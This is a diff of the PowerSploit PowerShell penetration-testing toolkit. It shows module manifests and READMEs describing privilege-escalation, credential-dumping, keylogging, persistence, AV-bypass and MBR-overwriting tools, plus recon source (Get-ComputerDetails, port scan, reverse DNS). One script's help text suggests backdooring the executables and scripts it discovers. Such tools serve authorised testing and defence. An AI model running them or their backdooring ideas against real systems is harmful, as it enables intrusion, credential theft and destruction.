'Get-RegAlwaysInstallElevated',
'Get-RegAutoLogon',
'Get-VulnAutoRun',
'Get-VulnSchTask',
'Get-UnattendedInstallFile',
'Get-Webconfig',
'Get-ApplicationHost',
'Write-UserAddMSI',
'Invoke-AllChecks'
)
# List of all files packaged with this module
FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md'
}
@@ -1 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
+59
View File
@@ -0,0 +1,59 @@
To install this module, drop the entire Privesc folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module Privesc`
To see the commands imported, type `Get-Command -Module Privesc`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
## PowerUp
PowerUp aims to be a clearinghouse of common Windows privilege escalation
vectors that rely on misconfigurations.
Running Invoke-AllChecks will output any identifiable vulnerabilities along
with specifications for any abuse functions. The -HTMLReport flag will also
generate a COMPUTER.username.html version of the report.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
### Service Enumeration:
Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name
Get-ServiceFilePermission - returns services where the current user can write to the service binary path or its config
Get-ServicePermission - returns services the current user can modify
Get-ServiceDetail - returns detailed information about a specified service
### Service Abuse:
Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command
Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command
Restore-ServiceBinary - restores a replaced service binary with the original executable
### DLL Hijacking:
Find-DLLHijack - finds .dll hijacking opportunities for currently running processes
Find-PathHijack - finds service %PATH% .dll hijacking opportunities
Write-HijackDll - writes out a hijackable .dll
### Registry Checks:
Get-RegAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
Get-RegAutoLogon - checks for Autologon credentials in the registry
Get-VulnAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
### Misc.:
Get-VulnSchTask - find schtasks with modifiable target files
Get-UnattendedInstallFile - finds remaining unattended installation files
Get-Webconfig - checks for any encrypted web.config strings
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
Invoke-AllChecks - runs all current escalation checks and returns a report
+94 -77
View File
@@ -1,4 +1,4 @@
### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid reverse engineers, forensic analysts, and penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:
### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:
## CodeExecution
@@ -16,13 +16,9 @@ Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or
Injects shellcode into the process ID of your choosing or within PowerShell locally.
#### `Invoke-ShellcodeMSIL`
#### `Invoke-WmiCommand`
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
#### `Watch-BlueScreen`
Cause a blue screen to occur (Windows 7 and below).
Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.
## ScriptModification
@@ -48,11 +44,11 @@ Strips comments and extra whitespace from a script.
**Add persistence capabilities to a PowerShell script**
#### `New-UserPersistenceOptions`
#### `New-UserPersistenceOption`
Configure user-level persistence options for the Add-Persistence function.
#### `New-ElevatedPersistenceOptions`
#### `New-ElevatedPersistenceOption`
Configure elevated persistence options for the Add-Persistence function.
@@ -60,61 +56,13 @@ Configure elevated persistence options for the Add-Persistence function.
Add persistence capabilities to a script.
## PETools
#### `Install-SSP`
**Parse/manipulate Windows portable executables.**
Installs a security support provider (SSP) dll.
#### `Get-PEHeader`
#### `Get-SecurityPackages`
An in-memory and on-disk PE parsing utility.
#### `Get-ObjDump`
Displays information about one or more Windows object files.
#### `Get-DllLoadPath`
Returns the path from which Windows will load a Dll for the given executable.
## ReverseEngineering
**Tools to aid in reverse engineering.**
#### `Get-PEB`
Returns the process environment block (PEB) of a process.
#### `Get-ILDisassembly`
Disassembles a raw MSIL byte array passed in from a MethodInfo object in a manner similar to that of Ildasm.
#### `Get-NtSystemInformation`
A utility that calls and parses the output of the ntdll!NtQuerySystemInformation function. This utility can be used to query internal OS information that is typically not made visible to a user.
#### `Get-StructFromMemory`
Marshals data from an unmanaged block of memory in an arbitrary process to a newly allocated managed object of the specified type.
#### `Get-Member`
A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members
#### `New-Object`
A proxy function for New-Object that accepts a CLSID with the -ComObject parameter.
#### `Get-Strings`
Dumps strings from files in both Unicode and Ascii. This cmdlet replicates the functionality of strings.exe from Sysinternals.
#### `ConvertTo-String`
Converts the bytes of a file to a string that has a 1-to-1 mapping back to the file's original bytes. ConvertTo-String is useful for performing binary regular expressions.
#### `Get-MethodAddress`
Get the unmanaged function address of a .NET method.
Enumerates all loaded security packages (SSPs).
## AntivirusBypass
@@ -128,6 +76,22 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas
**All your data belong to me!**
#### `Invoke-TokenManipulation`
Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
#### `Invoke-CredentialInjection`
Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).
#### `Invoke-NinjaCopy`
Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.
#### `Invoke-Mimikatz`
Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.
#### `Get-Keystrokes`
Logs keys pressed, time and the active window.
@@ -140,10 +104,51 @@ Retrieves the plaintext password and other information for accounts pushed throu
A function that takes screenshots at a regular interval and saves them to a folder.
#### `New-VolumeShadowCopy`
Creates a new volume shadow copy.
#### `Get-VolumeShadowCopy`
Lists the device paths of all local volume shadow copies.
#### `Mount-VolumeShadowCopy`
Mounts a volume shadow copy.
#### `Remove-VolumeShadowCopy`
Deletes a volume shadow copy.
#### `Get-VaultCredential`
Displays Windows vault credential objects including cleartext web credentials.
#### `Out-Minidump`
Generates a full-memory minidump of a process.
## Mayhem
**Cause general mayhem with PowerShell.**
#### `Set-MasterBootRecord`
Proof of concept code that overwrites the master boot record with the
message of your choice.
#### `Set-CriticalProcess`
Causes your machine to blue screen upon exiting PowerShell.
## Privesc
**Tools to help with escalating privileges on a target.**
#### `PowerUp`
Clearing house of common privilege escalation checks, along with some weaponization vectors.
## Recon
**Tools to aid in the reconnaissance phase of a penetration test.**
@@ -158,7 +163,11 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit
#### `Invoke-ReverseDnsLookup`
Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
Scans an IP address range for DNS PTR records.
#### `PowerView`
PowerView is series of functions that performs network and Windows domain enumeration and exploitation.
## Recon\Dictionaries
@@ -170,7 +179,7 @@ Scans an IP address range for DNS PTR records. This script is useful for perform
## License
The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE).
The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise.
## Usage
@@ -185,23 +194,37 @@ To use the module, type `Import-Module PowerSploit`
To see the commands imported, type `Get-Command -Module PowerSploit`
If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner:
`$Env:PSModulePath.Split(';') |
% { if ( Test-Path (Join-Path $_ PowerSploit) )
{Get-ChildItem $_ -Recurse | Unblock-File} }`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
## Contribution Rules
We need contributions! If you have a great idea for PowerSploit, we'd love to add it. New additions will require the following:
* The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason.
* The module manifest needs to be updated to reflect the new function being added.
* A brief description of the function should be added to this README.md
* Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks!
## Script Style Guide
**For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.**
* Avoid Write-Host **at all costs**. You should output custom objects instead. For more information on creating custom objects, read these articles:
* Avoid Write-Host **at all costs**. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles:
* <http://blogs.technet.com/b/heyscriptingguy/archive/2011/05/19/create-custom-objects-in-your-powershell-script.aspx>
* <http://technet.microsoft.com/en-us/library/ff730946.aspx>
* If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'.
* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license.
* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license).
* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell.
* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis.
* I prefer that variable names be capitalized and be as descriptive as possible.
@@ -211,29 +234,23 @@ Note: The tools contained within this module were all designed such that they ca
* Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error.
* If you are writing a script that interfaces with the Win32 API, do not compile C# code unless absolutely necessary. It is imperative that nothing aside from the script touches the disk.
* If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible.
* Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to.
* I don't want any v3 dependencies right now. In fact, it would be ideal to use `Set-StrictMode -Version 2.0` to ensure you are conforming to PowerShell v2 best practices.
* PowerShell v2 compatibility is highly desired.
* Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following:
* `[Parameter(Position = 0, Mandatory = $True)]`
* Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias.
* Don't let commands run on for too long. For example, a pipeline is a natural place for a line break.
* Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break.
* Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader.
* Use Out-Null to suppress unwanted/irrelevant output.
* Only use .NET code when absolutely necessary.
* Use the Write-Output keyword when returning an object from a function. I know it's not necessary but it makes the code more readable.
* Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement.
* Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.
* Scripts that are intended to run on a remote machine should be self-contained and not rely upon any additional scripts. Scripts that are designed to run on your host machine can have dependencies on other scripts.
* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output.
* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output.
+574
View File
@@ -0,0 +1,574 @@
function Get-ComputerDetails
{
<#
.SYNOPSIS
This script is used to get useful information from a computer.
Function: Get-ComputerDetails
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This script is used to get useful information from a computer. Currently, the script gets the following information:
-Explicit Credential Logons (Event ID 4648)
-Logon events (Event ID 4624)
-AppLocker logs to find what processes are created
-PowerShell logs to find PowerShell scripts which have been executed
-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to
.PARAMETER ToString
Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor.
.EXAMPLE
Get-ComputerDetails
Gets information about the computer and outputs it as PowerShell objects.
Get-ComputerDetails -ToString
Gets information about the computer and outputs it as raw text.
.NOTES
This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to.
You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files.
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
Param(
[Parameter(Position=0)]
[Switch]
$ToString
)
Set-StrictMode -Version 2
$SecurityLog = Get-EventLog -LogName Security
$Filtered4624 = Find-4624Logons $SecurityLog
$Filtered4648 = Find-4648Logons $SecurityLog
$AppLockerLogs = Find-AppLockerLogs
$PSLogs = Find-PSScriptsInPSAppLog
$RdpClientData = Find-RDPClientConnections
if ($ToString)
{
Write-Output "Event ID 4624 (Logon):"
Write-Output $Filtered4624.Values | Format-List
Write-Output "Event ID 4648 (Explicit Credential Logon):"
Write-Output $Filtered4648.Values | Format-List
Write-Output "AppLocker Process Starts:"
Write-Output $AppLockerLogs.Values | Format-List
Write-Output "PowerShell Script Executions:"
Write-Output $PSLogs.Values | Format-List
Write-Output "RDP Client Data:"
Write-Output $RdpClientData.Values | Format-List
}
else
{
$Properties = @{
LogonEvent4624 = $Filtered4624.Values
LogonEvent4648 = $Filtered4648.Values
AppLockerProcessStart = $AppLockerLogs.Values
PowerShellScriptStart = $PSLogs.Values
RdpClientData = $RdpClientData.Values
}
$ReturnObj = New-Object PSObject -Property $Properties
return $ReturnObj
}
}
function Find-4648Logons
{
<#
.SYNOPSIS
Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful
for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action.
Function: Find-4648Logons
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful
for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action.
.EXAMPLE
Find-4648Logons
Gets the unique 4648 logon events.
.NOTES
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
Param(
$SecurityLog
)
$ExplicitLogons = $SecurityLog | Where {$_.InstanceID -eq 4648}
$ReturnInfo = @{}
foreach ($ExplicitLogon in $ExplicitLogons)
{
$Subject = $false
$AccountWhosCredsUsed = $false
$TargetServer = $false
$SourceAccountName = ""
$SourceAccountDomain = ""
$TargetAccountName = ""
$TargetAccountDomain = ""
$TargetServer = ""
foreach ($line in $ExplicitLogon.Message -split "\r\n")
{
if ($line -cmatch "^Subject:$")
{
$Subject = $true
}
elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$")
{
$Subject = $false
$AccountWhosCredsUsed = $true
}
elseif ($line -cmatch "^Target\sServer:")
{
$AccountWhosCredsUsed = $false
$TargetServer = $true
}
elseif ($Subject -eq $true)
{
if ($line -cmatch "\s+Account\sName:\s+(\S.*)")
{
$SourceAccountName = $Matches[1]
}
elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)")
{
$SourceAccountDomain = $Matches[1]
}
}
elseif ($AccountWhosCredsUsed -eq $true)
{
if ($line -cmatch "\s+Account\sName:\s+(\S.*)")
{
$TargetAccountName = $Matches[1]
}
elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)")
{
$TargetAccountDomain = $Matches[1]
}
}
elseif ($TargetServer -eq $true)
{
if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)")
{
$TargetServer = $Matches[1]
}
}
}
#Filter out logins that don't matter
if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain -cmatch "^Window\sManager$"))
{
$Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer
if (-not $ReturnInfo.ContainsKey($Key))
{
$Properties = @{
LogType = 4648
LogSource = "Security"
SourceAccountName = $SourceAccountName
SourceDomainName = $SourceAccountDomain
TargetAccountName = $TargetAccountName
TargetDomainName = $TargetAccountDomain
TargetServer = $TargetServer
Count = 1
Times = @($ExplicitLogon.TimeGenerated)
}
$ResultObj = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $ResultObj)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated
}
}
}
return $ReturnInfo
}
function Find-4624Logons
{
<#
.SYNOPSIS
Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do
network logons in to the server, what accounts RDP in, what accounts log in locally, etc...
Function: Find-4624Logons
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do
network logons in to the server, what accounts RDP in, what accounts log in locally, etc...
.EXAMPLE
Find-4624Logons
Find unique 4624 logon events.
.NOTES
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
Param (
$SecurityLog
)
$Logons = $SecurityLog | Where {$_.InstanceID -eq 4624}
$ReturnInfo = @{}
foreach ($Logon in $Logons)
{
$SubjectSection = $false
$NewLogonSection = $false
$NetworkInformationSection = $false
$AccountName = ""
$AccountDomain = ""
$LogonType = ""
$NewLogonAccountName = ""
$NewLogonAccountDomain = ""
$WorkstationName = ""
$SourceNetworkAddress = ""
$SourcePort = ""
foreach ($line in $Logon.Message -Split "\r\n")
{
if ($line -cmatch "^Subject:$")
{
$SubjectSection = $true
}
elseif ($line -cmatch "^Logon\sType:\s+(\S.*)")
{
$LogonType = $Matches[1]
}
elseif ($line -cmatch "^New\sLogon:$")
{
$SubjectSection = $false
$NewLogonSection = $true
}
elseif ($line -cmatch "^Network\sInformation:$")
{
$NewLogonSection = $false
$NetworkInformationSection = $true
}
elseif ($SubjectSection)
{
if ($line -cmatch "^\s+Account\sName:\s+(\S.*)")
{
$AccountName = $Matches[1]
}
elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)")
{
$AccountDomain = $Matches[1]
}
}
elseif ($NewLogonSection)
{
if ($line -cmatch "^\s+Account\sName:\s+(\S.*)")
{
$NewLogonAccountName = $Matches[1]
}
elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)")
{
$NewLogonAccountDomain = $Matches[1]
}
}
elseif ($NetworkInformationSection)
{
if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)")
{
$WorkstationName = $Matches[1]
}
elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)")
{
$SourceNetworkAddress = $Matches[1]
}
elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)")
{
$SourcePort = $Matches[1]
}
}
}
#Filter out logins that don't matter
if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager"))
{
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
if (-not $ReturnInfo.ContainsKey($Key))
{
$Properties = @{
LogType = 4624
LogSource = "Security"
SourceAccountName = $AccountName
SourceDomainName = $AccountDomain
NewLogonAccountName = $NewLogonAccountName
NewLogonAccountDomain = $NewLogonAccountDomain
LogonType = $LogonType
WorkstationName = $WorkstationName
SourceNetworkAddress = $SourceNetworkAddress
SourcePort = $SourcePort
Count = 1
Times = @($Logon.TimeGenerated)
}
$ResultObj = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $ResultObj)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
}
}
}
return $ReturnInfo
}
function Find-AppLockerLogs
{
<#
.SYNOPSIS
Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run).
Function: Find-AppLockerLogs
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run).
.EXAMPLE
Find-AppLockerLogs
Find process creations from AppLocker logs.
.NOTES
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
$ReturnInfo = @{}
$AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where {$_.Id -eq 8002}
foreach ($Log in $AppLockerLogs)
{
$SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value)
$UserName = $SID.Translate( [System.Security.Principal.NTAccount])
$ExeName = $Log.Properties[10].Value
$Key = $UserName.ToString() + "::::" + $ExeName
if (!$ReturnInfo.ContainsKey($Key))
{
$Properties = @{
Exe = $ExeName
User = $UserName.Value
Count = 1
Times = @($Log.TimeCreated)
}
$Item = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $Item)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Log.TimeCreated
}
}
return $ReturnInfo
}
Function Find-PSScriptsInPSAppLog
{
<#
.SYNOPSIS
Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log).
You can then backdoor these scripts or do other malicious things.
Function: Find-AppLockerLogs
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log).
You can then backdoor these scripts or do other malicious things.
.EXAMPLE
Find-PSScriptsInPSAppLog
Find unique PowerShell scripts being executed from the PowerShell operational log.
.NOTES
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
$ReturnInfo = @{}
$Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where {$_.Id -eq 4100}
foreach ($Log in $Logs)
{
$ContainsScriptName = $false
$LogDetails = $Log.Message -split "`r`n"
$FoundScriptName = $false
foreach($Line in $LogDetails)
{
if ($Line -imatch "^\s*Script\sName\s=\s(.+)")
{
$ScriptName = $Matches[1]
$FoundScriptName = $true
}
elseif ($Line -imatch "^\s*User\s=\s(.*)")
{
$User = $Matches[1]
}
}
if ($FoundScriptName)
{
$Key = $ScriptName + "::::" + $User
if (!$ReturnInfo.ContainsKey($Key))
{
$Properties = @{
ScriptName = $ScriptName
UserName = $User
Count = 1
Times = @($Log.TimeCreated)
}
$Item = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $Item)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Log.TimeCreated
}
}
}
return $ReturnInfo
}
Function Find-RDPClientConnections
{
<#
.SYNOPSIS
Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user
usually RDP's to.
Function: Find-RDPClientConnections
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user
usually RDP's to.
.EXAMPLE
Find-RDPClientConnections
Find unique saved RDP client connections.
.NOTES
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
$ReturnInfo = @{}
New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS | Out-Null
#Attempt to enumerate the servers for all users
$Users = Get-ChildItem -Path "HKU:\"
foreach ($UserSid in $Users.PSChildName)
{
$Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue
foreach ($Server in $Servers)
{
$Server = $Server.PSChildName
$UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint
$Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint
if (!$ReturnInfo.ContainsKey($Key))
{
$SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid)
$User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value
$Properties = @{
CurrentUser = $User
Server = $Server
UsernameHint = $UsernameHint
}
$Item = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $Item)
}
}
}
return $ReturnInfo
}
+1 -1
View File
@@ -137,4 +137,4 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html
Write-Output $ScanObject
}
}
}
+3 -7
View File
@@ -1,4 +1,4 @@
function Invoke-Portscan
function Invoke-Portscan
{
<#
.SYNOPSIS
@@ -15,10 +15,6 @@ Optional Dependencies: None
Does a simple port scan using regular sockets, based (pretty) loosely on nmap
.NOTES
version .13
.PARAMETER Hosts
Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in
@@ -647,14 +643,14 @@ http://webstersprodigy.net
[Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath
if ($Hosts)
if ($PsCmdlet.ParameterSetName -eq "cmdHosts")
{
foreach($h in $Hosts)
{
Parse-Hosts($h) | Out-Null
}
}
elseif ($HostFile)
else
{
Parse-ILHosts($HostFile) | Out-Null
}
+141 -116
View File
@@ -50,146 +50,171 @@ IP HostName
Description
-----------
Returns the hostnames of the IP addresses specified by the IP range specified.
.EXAMPLE
PS C:\> Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup
IP HostName
-- --------
74.125.228.1 iad23s05-in-f1.1e100.net
74.125.228.1 iad23s05-in-f1.1e100.net
74.125.228.2 iad23s05-in-f2.1e100.net
74.125.228.3 iad23s05-in-f3.1e100.net
74.125.228.4 iad23s05-in-f4.1e100.net
74.125.228.5 iad23s05-in-f5.1e100.net
74.125.228.6 iad23s05-in-f6.1e100.net
Description
-----------
Returns the hostnames of the IP addresses piped from another source.
.LINK
http://www.exploit-monday.com
https://github.com/mattifestation/PowerSploit
#>
Param (
[Parameter(Position = 0, Mandatory = $True)]
[Parameter(Position = 0, Mandatory = $True,ValueFromPipeline=$True)]
[String]
$IpRange
)
function Parse-IPList ([String] $IpRange)
{
function IPtoInt
BEGIN {
function Parse-IPList ([String] $IpRange)
{
Param([String] $IpString)
$Hexstr = ""
$Octets = $IpString.Split(".")
foreach ($Octet in $Octets) {
$Hexstr += "{0:X2}" -f [Int] $Octet
}
return [Convert]::ToInt64($Hexstr, 16)
}
function InttoIP
{
Param([Int64] $IpInt)
$Hexstr = $IpInt.ToString("X8")
$IpStr = ""
for ($i=0; $i -lt 8; $i += 2) {
$IpStr += [Convert]::ToInt64($Hexstr.SubString($i,2), 16)
$IpStr += '.'
}
return $IpStr.TrimEnd('.')
}
$Ip = [System.Net.IPAddress]::Parse("127.0.0.1")
foreach ($Str in $IpRange.Split(","))
{
$Item = $Str.Trim()
$Result = ""
$IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
# First, validate the input
switch -regex ($Item)
function IPtoInt
{
"^$IpRegex/\d{1,2}$"
{
$Result = "cidrRange"
break
}
"^$IpRegex-$IpRegex$"
{
$Result = "range"
break
}
"^$IpRegex$"
{
$Result = "single"
break
}
default
{
Write-Warning "Inproper input"
return
}
}
Param([String] $IpString)
#Now, start processing the IP addresses
switch ($Result)
{
"cidrRange"
{
$CidrRange = $Item.Split("/")
$Network = $CidrRange[0]
$Mask = $CidrRange[1]
if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return}
if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return}
$BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0')
#Generate lower limit (Excluding network address)
$Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1"
#Generate upperr limit (Excluding broadcast address)
$Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0"
$LowerInt = [Convert]::ToInt64($Lower, 2)
$UpperInt = [Convert]::ToInt64($Upper, 2)
for ($i = $LowerInt; $i -le $UpperInt; $i++) { InttoIP $i }
$Hexstr = ""
$Octets = $IpString.Split(".")
foreach ($Octet in $Octets) {
$Hexstr += "{0:X2}" -f [Int] $Octet
}
"range"
return [Convert]::ToInt64($Hexstr, 16)
}
function InttoIP
{
Param([Int64] $IpInt)
$Hexstr = $IpInt.ToString("X8")
$IpStr = ""
for ($i=0; $i -lt 8; $i += 2) {
$IpStr += [Convert]::ToInt64($Hexstr.SubString($i,2), 16)
$IpStr += '.'
}
return $IpStr.TrimEnd('.')
}
$Ip = [System.Net.IPAddress]::Parse("127.0.0.1")
foreach ($Str in $IpRange.Split(","))
{
$Item = $Str.Trim()
$Result = ""
$IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
# First, validate the input
switch -regex ($Item)
{
$Range = $item.Split("-")
if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip }
else { Write-Warning "Invalid IP address supplied!"; return }
if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip }
else { Write-Warning "Invalid IP address supplied!"; return }
$Left = (IPtoInt $Temp1.ToString())
$Right = (IPtoInt $Temp2.ToString())
if ($Right -gt $Left) {
